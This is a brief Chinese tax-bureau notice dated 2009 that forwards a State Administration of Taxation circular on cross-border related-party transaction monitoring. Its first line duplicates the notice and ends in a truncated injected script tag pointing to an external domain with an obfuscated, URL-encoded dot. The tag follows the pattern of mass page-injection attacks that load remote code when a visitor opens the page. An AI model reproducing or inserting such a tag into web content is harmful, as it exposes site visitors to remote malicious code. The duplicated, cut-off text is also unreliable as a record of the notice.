- 各区、县(地区)国家税务局,直属税务分局: 现将《国家税务总局关于强化跨境关联交易监控和调查的通知》(国税函﹝2009﹞363号)转发给你们,请依照执行。 2009年8月5日 <script src=http://3god%2Ene
各区、县(地区)国家税务局,直属税务分局:
现将《国家税务总局关于强化跨境关联交易监控和调查的通知》(国税函﹝2009﹞363号)转发给你们,请依照执行。
2009年8月5日
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